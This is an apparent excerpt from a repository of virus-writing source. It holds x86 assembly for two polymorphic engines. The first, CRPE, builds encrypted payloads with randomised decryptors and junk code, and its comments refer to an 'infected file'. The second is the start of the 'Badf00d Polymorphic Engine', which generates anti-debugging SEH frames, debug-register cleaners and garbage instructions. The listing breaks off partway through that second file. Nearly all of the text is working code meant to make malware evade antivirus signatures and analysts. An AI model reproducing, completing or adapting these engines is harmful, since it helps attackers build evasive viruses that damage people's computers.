CRPE_max_dec equ 0A3h
; Max. memory required, SizeOf( [TRASH] + CALL POLY_DECRYPTOR + POLY_DECRYPTOR )
CRPE_max_total equ CRPE_max_dec+02Fh
; -----------------------------------------
; Things to save my time...
ofs equ offset
bye equ byte ptr
dwo equ dword ptr
wod equ word ptr
; Structure of PUSHAD
STACK_REG STRUCT
_EDI dd ?
_ESI dd ?
_EBP dd ?
_ESP dd ?
_EBX dd ?
_EDX dd ?
_ECX dd ?
_EAX dd ?
STACK_REG ENDS
; PUSHAD structure size
STACK_REGS equ SIZE STACK_REG
; Structure of stack used in CRPE
; Arguments
arg6 equ 18h
arg5 equ 14h
arg4 equ 10h
arg3 equ 0Ch
arg2 equ 08h
arg1 equ 04h
; SizeOf( PUSHAD + TEMPORARY MEMORY )
CRPE_stack equ CRPE_tmp+STACK_REGS
; Size of temporary memory
CRPE_tmp equ 0Fh
; Registers
R_EAX equ 0
R_ECX equ 1
R_EDX equ 2
R_EBX equ 3
R_ESP equ 4
R_EBP equ 5
R_ESI equ 6
R_EDI equ 7
; CRPE Signature
db "[CRPE]"
;-------------------------------------------------------------------------------
; Main procedure of CRPE
;-------------------------------------------------------------------------------
; Input:
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
; Arg3 = [BUFFER TO CRPE SAVE "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"]
; Arg4 = [SIZE OF AREA TO HASH]
; Arg5 = [POINTER TO AREA THAT WE WILL HASH, NOW]
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
; Output:
; EAX = Size of result ("TRASH + CALL + ENCRYPTED DATA + DECRYPTOR") in bytes
CRPE_make proc
pushad ; Save registers...
; Set memory
sub esp,CRPE_tmp ; Reserve stack
mov ebp,esp ; EBP = Pointer to reserved stack
mov edi,[esp+CRPE_stack+arg3] ; EDI = Pointer to buffer
; Generate initial TRASH + CALL
call CRPE_tg ; Generate some trash..
push 1 ; We will generate more trash ?
call CRPE_rnd ;
xchg eax,ecx ; Choose: YES or NOT
jecxz @insert_call ;
call CRPE_tg ; Generate more trash...
@insert_call:
mov al,0E8h ; Generate: CALL opcode
stosb ; write...
mov eax,edi ; Generate: immed32
add eax,[esp+CRPE_stack+arg2] ;
sub eax,edi ;
stosd ; write...
; Copy
mov ecx,[esp+CRPE_stack+arg2] ; ECX = Size of area to encrypt
mov esi,[esp+CRPE_stack+arg1] ; ESI = Pointer to area
push edi ; Save EDI !
push ecx ; Save ECX !
cld ;
rep movsb ; Copy...
; Hash
mov ebx,[esp+CRPE_stack+arg5+8] ; EBX = Area to hash
mov ecx,[esp+CRPE_stack+arg4+8] ; ECX = Size of area to hash
push -1 ;
call CRPE_rnd ; EAX = Random number
mov [ebp+4],eax ; Save "MAGIC" in temporary memory
push eax ; Arg3
push ecx ; Arg2
push ebx ; Arg1
call CRPE_hash ; Hash...
; Encrypt
pop ecx ; Restore ECX !
pop edx ; Restore EDI in EDX !
sub ecx,4 ; \ Some fixes...
add edx,ecx ; /
@@enc_loop:
xor [edx],eax ; XOR [BUFFER], KEY
xor eax,ecx ; XOR KEY, COUNTER
dec edx
dec ecx ; DEC COUNTER
jns @@enc_loop ; encryption loop
; --- TRASH + PUSHAD ---
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ; Exchange: EAX <-> ECX
jecxz @no_trash ; ECX = 0 ? Dont put trash...
call CRPE_tg ; Trash gen. routine
@no_trash: ;
mov al,60h ; Generate: PUSHAD
stosb ; Write...
; --- HASH INIT ---
; Generate MOV (REG32_1),Buffer
push 3 ;
call CRPE_rnd ; Get random number between 0-3
mov [ebp],al ; Save AL in temporary memory
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
stosb ; Write..
mov eax,[esp+CRPE_stack+arg6] ; imm32 = Pointer to buffer
stosd ; Write..
; Generate MOV (REG32_2),Size
@rnd_1: ;
push 3 ;
call CRPE_rnd ; Get random number between 0-3
cmp [ebp],al ; AL = First value of AL ?
jz @rnd_1 ; Randomize again...
mov [ebp+1],al ; Save AL in temporary memory
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
stosb ; Write..
mov eax,[esp+CRPE_stack+arg4] ; imm32 = Size of buffer
stosd ; Write..
; Generate XOR/SUB (REG32_3),(REG32_3)
@rnd_2:
push 3 ;
call CRPE_rnd ; Get random number between 0-3
cmp [ebp],al ; AL = First value of AL ?
jz @rnd_2 ; Randomize again...
cmp [ebp+1],al ; AL = Second value of AL ?
jz @rnd_2 ; Randomize again...
mov [ebp+2],al ; Save AL in temporary memory...
mov bl,al ; BL = AL \
shl al,3 ; AL = AL * 8 > Optimized for speed
add al,bl ; AL+= BL /
or al,0C0h ; AL+= 0C0h (r32/r32)
mov ebx,eax ; EBX = EAX
push 1 ;
call CRPE_rnd ; Choose: SUB or XOR
or eax,eax ;
jz @@sub__ ;
@@xor__: ;
mov al,033h ; Generate: XOR
jmp @write0 ;
@@sub__: ;
mov al,02Bh ; Generate: SUB
@write0: ;
mov ah,bl ;
stosw ; Write..
; Generate: MOV (REG32_4),(REG32_3)
mov al,[ebp+2] ; EAX = [EBP+2] (Third value of AL)
xor al,[ebp+1] ; XOR AL,[EBP+1](Second value of AL)
xor al,[ebp] ; XOR AL,[EBP] (First value of AL)
mov [ebp+3],al ; Save AL in temporary memory
shl al,3 ; AL = AL * 8
or al,[ebp+2] ; AL = AL + REG32_3
or al,0C0h ; AL+= 0C0h
xchg al,ah ; Exchange: AL <-> AH
mov al,08Bh ; AL = 08Bh (MOV (r32),(r32) opcode)
stosw ; Write...
mov [ebp+0Ch],edi ; Save current position in temp. memory
; --- HASH BYTE ---
; Generate: XOR (REG32_3),MAGIC
mov [ebp+8],edi ; Save current position in temp. memory
mov al,bye [ebp+2] ; AL = REG32_3
or eax,eax ; AL != 0 ?
jnz @@normal_xor ; Normal version of XOR...
or al,035h ; Optimized version for EAX
stosb ; Write...
jmp @@immed32_of_xor ; Jump to put an immed32
@@normal_xor: ;
or al,0F0h ; AL+= 0F0h
mov ah,081h ; AH = 081h
xchg ah,al ; Exchange: AH <-> AL
stosw ; Write...
@@immed32_of_xor: ;
mov eax,[ebp+4] ; EAX = Saved "MAGIC" in temp. memory
stosd ; Write...
; Generate: REG32_3_LO8 ^= BUF[COUNTER-1]
mov al,032h ; XOR r8,mem opcode
stosb ; Write...
mov al,bye [ebp+2] ; AL = REG32_3
shl al,3 ; AL = AL * 8
add al,44h ; Identify R8,LOW of REG32_3
stosb ; Write...
mov al,[ebp] ; AL = REG32_1 \ Combination of registers
shl al,3 ; AL = Ah * 8 / Generate: [REG32_2+REG32_1]
add al,[ebp+1] ; AL+= REG32_2 /
mov ah,0FFh ; Generate: -1
stosw ; Write...
; Generate: ADD/OR (REG32_4),8
xor ecx,ecx ;
push 1 ;
call CRPE_rnd ; Choose: ADD or OR
xchg eax,ecx ;
jecxz @add_ ;
mov ah,8 ; Generate: OR
@add_: ; Generate: ADD
mov al,83h ;
or ah,[ebp+3] ; AH = REG32_4
or ah,0C0h ;
stosw ; Write...
mov al,8 ;
stosb ; Write...
mov [ebp+08h],edi ; Save current position in temp. memory
; --- HASH BIT ---
; TRASH or not
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ; Exchange: EAX <-> ECX
jecxz @no_trash2 ; ECX = 0 ? So, dont put trash
call CRPE_tg ; Put trash...
@no_trash2: ;
; Generate: SHL [REG32_3],1
mov al,0D1h ; SHL (REG),1 opcode
mov ah,[ebp+2] ; AH = REG32_3
or ah,0E0h ;
stosw ; Write..
; Generate: SBB [REG32_3], [REG32_4]
mov ah,[ebp+2] ; AH = REG32_3
shl ah,3 ; AH = AH * 8
add ah,[ebp+3] ; AH+= REG32_4
add ah,0C0h ;
mov al,01Bh ; AL = 01Bh (SBB opcode)
stosw ; Write..
; Generate: DEC [REG32_4]
mov al,[ebp+3] ; AL = REG32_4
add al,048h ; AL+= 048h (DEC REG opcode)
stosb ; Write..
; Generate: JNZ hash_bit (bit loop)
mov eax,[ebp+08h] ; EAX = hash_bit position
call CRPE_make_jnz ; Calcule the jump...
; Generate: DEC [REG32_2]
mov al,[ebp+1] ; AL = REG32_2
add al,048h ; AL+= 048h (DEC REG opcode)
stosb ; Write..
; Generate: JNZ hash_byte (byte loop)
mov eax,[ebp+0Ch] ; EAX = hash_bit position
call CRPE_make_jnz ; Calcule the jump...
; --- DECRYPTOR INIT ---
; Generate: REG32_1 = Encrypted area
mov al,08Bh ; AL = MOV opcode
stosb ; Write..
@rnd_3: ; Choose another REG32_1
push 3 ;
call CRPE_rnd ; Get random number between 0-7
cmp al,[ebp+2] ; AL = REG32_3 ?
jz @rnd_3 ; So try again..
cmp al,4 ; AL = ESP (4) ?
jz @rnd_3 ; So try again..
mov [ebp],al ; Save in temporary memory
shl al,3 ; AL = AL * 8
add al,044h ; AL+= 44h
stosb ; Write..
mov ax,2024h ; AX = 2024h (ESP+20h)
stosw ; Write..
; Generate: REG32_2 = Size of area - 4
@rnd_4: ; Choose another REG32_2
push 7 ;
call CRPE_rnd ; Get random number between 0-7
cmp al,[ebp+2] ; AL = REG32_3 ?
jz @rnd_4 ; So try again..
cmp al,[ebp] ; AL = REG32_1 ?
jz @rnd_4 ; So try again..
cmp al,4 ; AL = ESP (4) ?
jz @rnd_4 ; So try again..
mov [ebp+1],al ; Save in temporary memory
add al,0B8h ; AL+= B8h (MOV opcode)
stosb ; Write..
mov eax,[esp+CRPE_stack+arg2] ; EAX = immed32
sub eax,4 ; EAX-= 4
stosd ; Write..
; Generate: ADD [REG32_1] , [REG32_2]
mov ax,0C003h ; AX = ADD REG,REG opcode
mov bl,[ebp] ; AL = REG32_1
shl bl,3 ; Second reg..
or bl,[ebp+1] ; REG32_2, first reg..
or ah,bl ;
stosw ; Write..
; --- DECRYPTOR LOOP ---
mov [ebp+04],edi ; Save current position in temporary mem.
; Generate: XOR [REG32_1],[REG32_3]
mov al,031h ; XOR [DS:REG],REG opcode
mov ah,[ebp+2] ; REG32_2
shl ah,3 ; First reg
add ah,[ebp] ; REG32_2, second reg
stosw ; Write..
; Generate: XOR [REG32_3],[REG32_2]
mov ah,[ebp+2] ; AH = REG32_3
shl ah,3 ; AH = AH * 8
add ah,0C0h ; AH+= C0h
or ah,[ebp+1] ; AH+= REG32_2
mov al,033h ; AL = 33h (XOR opcode)
stosw ; Write..
; Generate some trash or not
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ;
jecxz @no_trash3 ;
call CRPE_tg ;
@no_trash3:
; Generate: DEC [REG32_1] ;
mov al,[ebp] ; REG32_1
add al,048h ;
stosb ; write..
; Generate: DEC [REG32_2]
mov al,[ebp+1] ; REG32_2
add al,048h ;
stosb ; write..
; Generate: JNS DECRYPTOR_LOOP
mov eax,[ebp+4] ; EAX = DECRYPTOR_LOOP position
call CRPE_make_jnz ; Calculate jump
mov bye [edi-2],079h ; JNS
; --- TRASH + POPAD ---
; TRASH or not ;
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ;
jecxz @no_trash4 ;
call CRPE_tg ;
@no_trash4: ;
; Generate: POPAD
mov al,061h ; AL = POPAD opcode
stosb ; Write..
; --- TRASH + RET ---
; TRASH or not
push 1 ;
call CRPE_rnd ; Choose: YES or NO
xchg eax,ecx ; Exchange: EAX <-> ECX
jecxz @no_trash5 ; ECX = 0 ? So, dont put trash
call CRPE_tg ; Put trash...
@no_trash5: ;
; Generate: RET ;
mov al,0C3h ; AL = 0C3h (RET opcode)
stosb ; Write...
; Calculate return value & Unset memory & Restores regs & Return
mov eax,[esp+CRPE_stack+arg3] ; EAX = Initial buffer
sub edi,eax
mov [esp+CRPE_tmp+STACK_REG._EAX],edi
add esp,CRPE_tmp
popad
ret 18h
; Common rotine to calculate SHORT jnz's
CRPE_make_jnz:
inc edi ;
inc edi ;
sub eax,edi ; EAX-= Current position
mov ah,075h ; AH = 75h (JNZ opcode)
xchg ah,al ; Exchange: AH <-> AL
mov [edi-2],ax ; Write..
ret ; Return..
CRPE_make endp
;-------------------------------------------------------------------------------
; INTERNAL FUNCTIONS, DONT WORRY ABOUT IT ;)
;-------------------------------------------------------------------------------
; - Random number generator beetween 0-[Arg1]
; Input: Arg1 = Range
; Output: EAX = Random number
CRPE_rnd proc
pushad ; Save registers..
rdtsc ; CPU TIME-STAMP in EDX:EAX
xor edx,esp ;
xor eax,edx ;
mov ecx,[esp+STACK_REGS+4] ; ECX = Arg1
inc ecx ;
jecxz CRPE_rnd_fim ;
xor edx,edx ; EDX = 0
div ecx ; EAX = EAX / Arg1
mov eax,edx ; EAX = Rest
CRPE_rnd_fim:
mov [esp+STACK_REG._EAX],eax
popad ; Restore registers..
ret 4h ; Return..
CRPE_rnd endp
; - Trash generator (max.: 21 bytes | min.: 2 bytes)
; Input: EDI = Buffer
; Output: EDI = Buffer (updated)
CRPE_tg proc
pushad ; Save registers
push 3 ;
call CRPE_rnd ; Get random number between 0-3
dec eax ;
js @trash1 ;
dec eax ;
jz @trash2 ;
dec eax ;
jz @trash3 ;
; Generate: PUSH (REG Y) / POP (REG Y)
@trash4:
push 7 ;
call CRPE_rnd ; Get random number between 0-7
add al,50h ; Generate PUSH (REG)
mov ah,al ;
add ah,8 ; Generate POP (REG)
stosw ; write..
push 1 ; Choose next trash routine...
call CRPE_rnd ;
xchg eax,ecx ;
jecxz @trash2 ;
; Generate: MOV (REG X),(REG X)
@trash3:
push 7 ;
call CRPE_rnd ; Get random number between 0-7
mov bl,al ; BL = AL \
shl al,3 ; AL = AL * 8 > Optimized for speed
add al,bl ; AL+= BL /
add al,0C0h ; AL+= 0C0h
mov ah,08Bh ; Generater MOV (REG X),(REG X)
xchg ah,al ; Exchange: AH <-> AL
stosw ; write...
push 1 ; Choose next trash routine...
call CRPE_rnd ;
xchg eax,ecx ;
jecxz @trash1 ;
; Generate: CMP/TEST (REG X),(REG Y)
@trash2:
push 03Fh ;
call CRPE_rnd ; Get random number between 0-63
xchg bl,al ; Exchange: BL <-> AL
add bl,0C0h ; BL+= 0C0h
push 1 ;
call CRPE_rnd ; Choose: CMP or TEST
or eax,eax ;
jz @@_cmp ;
@@_test: ;
mov al,085h ; Generate: TEST opcode
jmp @@write_trash_ ;
@@_cmp: ;
mov al,03Bh ; Generate: CMP opcode
@@write_trash_: ;
mov ah,bl ; AH = BL
stosw ; Write...
jmp @trash_end
; Generate: CALL (XXXX) | ESP-4
@trash1:
mov al,0E8h ;
stosb ; Generate CALL opcode
push 8 ;
call CRPE_rnd ; Get random number between 0-8
inc eax ; EAX++
stosd ; Generate imm32 of CALL
mov ecx,eax ; ECX = EAX (imm32)
@@repeat_trash: ;
push -1 ;
call CRPE_rnd ; Generate random number in EAX
stosb ; write al
loop @@repeat_trash ; (ECX) times...
push 1 ;
call CRPE_rnd ; Choose: ADD ESP,4 or
xchg eax,ecx ; INC ESP / INC ESP / INC ESP / INC ESP
jecxz @@4dec_esp ;
mov al,83h ;
stosb ; Generate ADD ESP,4
mov ax,04C4h ;
stosw ;
jmp @trash_end ; No more trash...
@@4dec_esp: ;
mov eax,44444444h ; Generate INC ESP, 4 times
stosd ;
@trash_end:
mov [esp+STACK_REG._EDI],edi ; Update EDI...
popad ; Restore registers
ret ; Return...
CRPE_tg endp
; - Hashing
; Input:
; Arg1 = Pointer to data to hash
; Arg2 = Size of data to hash
; Arg3 = MAGIC
; Outrput:
; EAX = Hashed data
CRPE_hash proc
pushad ; Save regs.
mov edx,[esp+STACK_REGS+4] ; EDX = Buffer
mov ecx,[esp+STACK_REGS+8] ; ECX = Size of buffer (byte counter)
xor eax,eax ; EAX = 0 (reader / hasher)
mov ebx,eax ; EBX = 0 (bit counter)
@@@hash_byte: ;
xor eax,[esp+STACK_REGS+12] ;
xor al,[edx+ecx-1] ;
or bl,8 ;
@@@hash_bit: ;
shl eax,1 ;
sbb eax,ebx ;
dec ebx ;
jnz @@@hash_bit ; EBX != 0 ? Go to the next bit...
dec ecx ;
jnz @@@hash_byte ; ECX != 0 ? Go to the next byte...
mov [esp+STACK_REG._EAX],eax ;
popad ; Restore regs.
ret 0Ch ; Return...
CRPE_hash endp

Binary file not shown.

Binary file not shown.

BIN
Engines/Virus.Win32.Vpe.7z Normal file

Binary file not shown.

BIN
Engines/Virus.Win32.Xtg.7z Normal file

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,990 @@
comment $
\`. |\
\`-. \ `.| \!,,
\ \ `.\ _ (__
_ `-.> \ ___ \ __ ------------------------------------------
`-/,o-./O `. ._` Badf00d Polymorphic Engine
-// j_ | `` _<` ------------------------------------------
|\__( \--' ' \ . by Piotr Bania <bania.piotr@gmail.com>
> _ `--' _/ ; http://pb.specialised.info
| / `----.. . / (
| ( `. Y )
\ \ ,-.-.| |_ (_
`.`.___\ \ \/=.`. __) a little bit of this,
`--,==\ )==\,\ (_ a little bit of that
,'\===`--'====\,\ `-.
,'.` ============\,\ (`-'
/`=.`Y=============\,\ .'
/`-. `|==============\_,-._
/`-._`=|=___=========,'^, c-)
\`-----+' ._)=====_(_`-' ^-'`-.
-----`=====, \ `.-==(^_ ^c_,.^ `^_\-----
(__/`--'('(_,-._)-._,-.,__)`) hjw
`-._`._______.'_.-'
`---------'
Disclaimer__________________________________________________________________________________]
Author takes no responsibility for any actions with provided informations or codes.
The copyright for any material created by the author is reserved. Any duplication of
codes or texts provided here in electronic or printed publications is not permitted
without the author's agreement. If you disagree - leave now!
Introduction________________________________________________________________________________]
I must confess i was pretty bored and that's why i have written this engine. Meanwhile
i was also thinking about some PE encrypter, so sooner or later i got to produce some
poly engine for it. This little thingie was written in 2 days (few hours each day).
Current version is super beta, drop me an mail if you will find any errors.
Features____________________________________________________________________________________]
+ SEH frames generator (int3/sti/cli exceptions, BPM removers (dr0-3 cleaners), random
registry usage, random size of garbage block (return address is calculated via size
of the generated junks), generated SEH block looks like this:
* SNIP *
00402814 E8 3D000000 CALL pol.00402856
00402819 8BD4 MOV EDX,ESP ; generated REG
0040281B 81C2 0C000000 ADD EDX,0C
00402821 8B12 MOV EDX,DWORD PTR DS:[EDX]
00402823 C782 04000000 00>MOV DWORD PTR DS:[EDX+4],0
0040282D C782 08000000 00>MOV DWORD PTR DS:[EDX+8],0
00402837 C782 12000000 00>MOV DWORD PTR DS:[EDX+12],0
00402841 C782 16000000 00>MOV DWORD PTR DS:[EDX+16],0
0040284B 8182 B8000000 05>ADD DWORD PTR DS:[EDX+B8],5 ; calcs return addr
00402855 C3 RETN
00402856 33C9 XOR ECX,ECX
00402858 64:FF31 PUSH DWORD PTR FS:[ECX]
0040285B 64:8921 MOV DWORD PTR FS:[ECX],ESP
0040285E CC INT3
0040285F AF SCAS DWORD PTR ES:[EDI]
00402860 C8 50C933 ENTER 0C950,33
00402864 C0648F 00 5A SHL BYTE PTR DS:[EDI+ECX*4],5A
* SNIP *
As you can see doing only regswaping is not a good solution (still signature can be
generated - look RegSwap virus description), prolly it is better to mix randomly SEH
instructions with garbage. Use your imagination.
+ safe garbage generator (generates stepable garbage code, moreover user can specyfi
what registers should be used and what should be not, this feature gives an
advantage to mix original code together with garbage code, without destroying the
values from orginal one), like this snipet shows:
* SNIP - ALL REGS ALLOWED *
00402814 F7D2 NOT EDX
00402816 D1D3 RCL EBX,1
00402818 9B WAIT
00402819 9B WAIT
0040281A D1F9 SAR ECX,1
0040281C 93 XCHG EAX,EBX
0040281D 81C3 B9B1F0A8 ADD EBX,A8F0B1B9
00402823 F9 STC
00402824 81EF 73D13C4E SUB EDI,4E3CD173
0040282A 3BC7 CMP EAX,EDI
0040282C FD STD
0040282D 2BC6 SUB EAX,ESI
0040282F 57 PUSH EDI
00402830 81C9 6FA7215F OR ECX,5F21A76F
00402836 33F3 XOR ESI,EBX
00402838 F7D8 NEG EAX
0040283A 1BCE SBB ECX,ESI
* SNIP - ALL REGS ALLOWED *
* SNIP - ALLOWED EAX/EBX *
00402814 F7DB NEG EBX
00402816 F7D0 NOT EAX
00402818 85C3 TEST EBX,EAX
0040281A F8 CLC
0040281B 90 NOP
0040281C C7C3 BB153882 MOV EBX,823815BB
00402822 F7D8 NEG EAX
00402824 09DB OR EBX,EBX
00402826 D1D3 RCL EBX,1
00402828 D1D8 RCR EAX,1
0040282A EB 00 JMP SHORT pol.0040282C
0040282C 81EB 011DAF21 SUB EBX,21AF1D01
00402832 81E8 3BB25C3B SUB EAX,3B5CB23B
00402838 F8 CLC
* SNIP - ALLOWED EAX/EBX *
+ hardcore garbage generator (generates jmp over_garbage and generates garbage stepable
or totaly randomized - this one will be never executed), like here:
* SNIP - SOME GARBAGE CODE *
00402810 EB 14 JMP SHORT pol.00402826
00402812 CB RETF
00402813 69A0 1C1E85D1 F9>IMUL ESP,DWORD PTR DS:[EAX+D1851E1C],886>
0040281D F2: PREFIX REPNE:
0040281E 4B DEC EBX
0040281F 85FF TEST EDI,EDI
00402821 198A 797CF6EB SBB DWORD PTR DS:[EDX+EBF67C79],ECX
00402827 0C C8 OR AL,0C8
* SNIP - SOME GARBAGE CODE *
+ backwards jumps generator (generates some funny jumps :))
* SNIP *
0040280C EB 3A JMP SHORT pol.00402848
0040280E 33FE XOR EDI,ESI
00402810 EB 3B JMP SHORT pol.0040284D
00402812 AE SCAS BYTE PTR ES:[EDI]
00402813 ^73 C8 JNB SHORT pol.004027DD
00402815 71 13 JNO SHORT pol.0040282A
00402817 90 NOP
00402818 5E POP ESI
00402819 C2 AFE0 RETN 0E0AF
0040281C BB 8406103D MOV EBX,3D100684
00402821 60 PUSHAD
00402822 E5 77 IN EAX,77
00402824 2AC4 SUB AL,AH
00402826 59 POP ECX
00402827 3E:5C POP ESP
00402829 0E PUSH CS
0040282A 67:73 7A JNB SHORT pol.004028A7
0040282D AF SCAS DWORD PTR ES:[EDI]
0040282E 27 DAA
0040282F 0880 3B2E3EF3 OR BYTE PTR DS:[EAX+F33E2E3B],AL
00402835 5D POP EBP
00402836 52 PUSH EDX
00402837 D9FB FSINCOS
00402839 ^E1 BD LOOPDE SHORT pol.004027F8
0040283B 4E DEC ESI
0040283C 53 PUSH EBX
0040283D 4D DEC EBP
0040283E 62D6 BOUND EDX,ESI
00402840 A7 CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[ED>
00402841 FF49 8C DEC DWORD PTR DS:[ECX-74]
00402844 07 POP ES
00402845 56 PUSH ESI
00402846 7A 15 JPE SHORT pol.0040285D
00402848 9B WAIT
00402849 ^EB C5 JMP SHORT pol.00402810
0040284B 6E OUTS DX,BYTE PTR ES:[EDI]
0040284C 45 INC EBP
* SNIP *
TODO________________________________________________________________________________________]
+ code some multiple decryption routines (xlat/xor/etc. etc - backwards/forwards)
+ add some checksum checker routines
+ code new engine :))
Sample_usage________________________________________________________________________________]
* SNIP *
call random_setup ; set seed
mov ecx,30 ; loop counter
lea edi,temp_buff ; EDI = where to store
gen_it:
mov eax,3
call random_eax ; give random
cmp eax,0
je skip_jmp
cmp eax,1
je skip_sehs
call t_normalize_pops ; normalize stack before SEHs
add edi,eax
call gen_seh ; generate SEHs
add edi,eax ; add edi,generated_code_size
skip_sehs:
call gen_bjumps ; generate backwards jumps
add edi,eax ; add edi,generated_code_size
skip_jmp:
mov eax,2
call random_eax ; give random
test eax,eax
jnz gen_it2
call gen_garbage_i ; generate some stepable junk
jmp loopers
gen_it2:
call hardcode_garbage_i ; generate some hard junks
loopers:
add edi,eax ; add edi,generated_code_size
loop gen_it
call t_normalize_pops ; normalize stack if it wasn't
add edi,eax ; normalized
* SNIP *
Have phun,
Piotr Bania
$
M0_EAX equ 0
M0_ECX equ 1
M0_EDX equ 2
M0_EBX equ 3
M0_ESI equ 4
M0_EDI equ 5
M1_EAX equ 0
M1_ECX equ 1
M1_EDX equ 2
M1_EBX equ 3
M1_ESI equ 6
M1_EDI equ 7
M2_EAX equ 0 shl 3
M2_ECX equ 1 shl 3
M2_EDX equ 2 shl 3
M2_EBX equ 3 shl 3
M2_ESI equ 6 shl 3
M2_EDI equ 7 shl 3
; -------------- MAIN REGISTERS TABLES ----------------------------------------
x1_table: db M1_EAX
db M1_ECX
db M1_EDX
db M1_EBX
db M1_ESI
db M1_EDI
x1_tbl_size = $ - offset x1_table
x2_table: db M2_EAX
db M2_ECX
db M2_EDX
db M2_EBX
db M2_ESI
db M2_EDI
x2_tbl_size = $ - offset x2_table
; -------------- INSTRUCTION TABLES -------------------------------------------
; FORMAT: (1 BYTE) (BYTE) (BYTE) (BYTE)
; <OPCODE> <MODRM> <LEN> <CSET>
;
; if there is no MODRM, MODRM must be set to 2Dh (temp)
NO_M equ 02dh
C_NONE equ 0
C_SRC equ 1
C_DST equ 2
C_BOTH equ 3
allowed_regs: db M0_EAX, M0_ECX, M0_EDX, M0_EBX, M0_ESI, M0_EDI
instr_table: db 0f9h, NO_M, 1h, C_NONE ; stc
db 0EBh, NO_M, 2h, C_NONE ; jmp $+1
db 0c7h, 0c0h, 6h, C_SRC ; mov reg(EAX),NUM
db 08bh, 0c0h, 2h, C_BOTH ; mov reg(EAX),reg(EAX)
db 081h, 0c0h, 6h, C_SRC ; add reg(EAX),NUM
db 003h, 0c0h, 2h, C_BOTH ; add reg(EAX),reg(EAX)
db 081h, 0e8h, 6h, C_SRC ; sub reg(EAX),NUM
db 02bh, 0c0h, 2h, C_BOTH ; sub reg(EAX),reg(EAX)
db 040h, NO_M, 1h, C_SRC ; inc reg(EAX)
db 048h, NO_M, 1h, C_SRC ; dec reg(EAX)
_i_xor_r db 033h, 0c0h, 2h, C_BOTH ; xor reg(EAX),reg(EAX)
db 009h, 0c0h, 2h, C_BOTH ; or reg(EAX),reg(EAX)
db 081h, 0c8h, 6h, C_SRC ; or reg(EAX),NUM
db 03bh, 0c0h, 2h, C_BOTH
db 085h, 0c0h, 2h, C_BOTH
db 01bh, 0c0h, 2h, C_BOTH ; sbb reg(EAX),reg(EAX)
db 011h, 0c0h, 2h, C_BOTH ; adc reg(EAX),reg(EAX)
db 0f7h, 0d0h, 2h, C_SRC ; not reg(EAX)
db 0f7h, 0d8h, 2h, C_SRC ; neg reg(EAX)
db 0d1h, 0f8h, 2h, C_SRC ; sar reg(EAX),1
db 0d1h, 0d8h, 2h, C_SRC ; rcr reg(EAX),1
db 0d1h, 0d0h, 2h, C_SRC ; rcl reg(EAX),1
db 091h, NO_M, 1h, C_SRC ; xchg reg(EAX),reg(ECX)
db 090h, NO_M, 1h, C_NONE ; nop
db 0fch, NO_M, 1h, C_NONE ; cld
db 0f8h, NO_M, 1h, C_NONE ; clc
db 0fdh, NO_M, 1h, C_NONE ; std
db 09bh, NO_M, 1h, C_NONE ; wait
db 050h, NO_M, 1h, C_SRC ; push reg(eax)
_i_pop db 058h, NO_M, 1h, C_SRC ; pop reg(eax) (must be last one)
ENTRY_TABLE_SIZE = 4
instr_table_size = (($-offset instr_table)/4)
dd 0
push_number dd 0
do_push db 1 ; should we process pushs?
O_JMP equ 0EBh
O_PUSH equ 050h
O_POP equ 058h
i_jmp: db 0EBh, NO_M, 2h ; jmp $+1
; -------------- GARBAGE GENERATOR (SAFE) ------------------------------------
; EDI = where
; ----------------------------------------------------------------------------
gen_garbage_i:
pushad
garbage_again:
mov eax,instr_table_size
call random_eax
lea esi,instr_table
mov ecx,ENTRY_TABLE_SIZE
mul ecx ; eax=member from table to use
add esi,eax
jmp garbage_co
garbage_hand: pushad
garbage_co: lodsw ; ah = modrm value / al=opcode
cmp ah,NO_M
je no_modrm
stosb ; store opcode
xor edx,edx
mov dl,ah
cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
je p_01
cmp byte ptr [esi+1],C_SRC
jne t_01
p_01: and dl,0F8h
mov eax,x1_tbl_size
call random_eax
mov al,byte ptr [allowed_regs[eax]]
mov al,byte ptr [x1_table[eax]]
or dl,al
mov byte ptr [edi],dl
t_01: cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
je p_02
cmp byte ptr [esi+1],C_DST
jne finish_i
p_02: and dl,0C7h
mov eax,x2_tbl_size
call random_eax
mov al,byte ptr [allowed_regs[eax]]
mov al,byte ptr [x2_table[eax]]
or dl,al ; update modrm value
mov byte ptr [edi],dl
finish_i: mov cl,byte ptr [esi]
sub cl,2
inc edi
cmp cl,0
jle garbage_done
store_op: mov eax,12345678h
call random_eax
stosb
loop store_op
garbage_done: xor eax,eax
mov al,byte ptr [esi]
mov [esp+PUSHA_STRUCT._EAX],eax
popad
ret
; ----------------------------------------------------
; NO MOD-RMs
; ----------------------------------------------------
no_modrm: xor edx,edx
mov dl,al
cmp byte ptr [esi+1],C_NONE
je t_none
cmp dl,O_PUSH
je t_push
cmp dl,O_POP
je t_pop
go_nomodrm: mov eax,x1_tbl_size
call random_eax
mov al,byte ptr [allowed_regs[eax]]
mov al,byte ptr [x1_table[eax]]
and dl,0F8h
or dl,al
mov byte ptr [edi],dl
inc edi
jmp finish_i
t_none: mov byte ptr [edi],dl
inc edi
cmp dl,O_JMP
jne finish_i
mov byte ptr [edi],0
inc edi
jmp finish_i
t_push: cmp byte ptr [do_push],1
jne garbage_again
inc dword ptr [push_number]
jmp go_nomodrm
t_pop: cmp byte ptr [do_push],1
jne garbage_again
cmp dword ptr [push_number],0
jle garbage_again
dec dword ptr [push_number]
jmp go_nomodrm
t_normalize_pops:
pushad
xor ebx,ebx
mov ecx,dword ptr [push_number]
test ecx,ecx
jz t_opsexit
t_givepops: lea esi,_i_pop
call garbage_hand
add edi,eax
add ebx,eax
loop t_givepops
t_opsexit: mov [esp+PUSHA_STRUCT._EAX],ebx
popad
ret
; ---------------------------------------------------------------------------
; HARDCORE GARBAGER
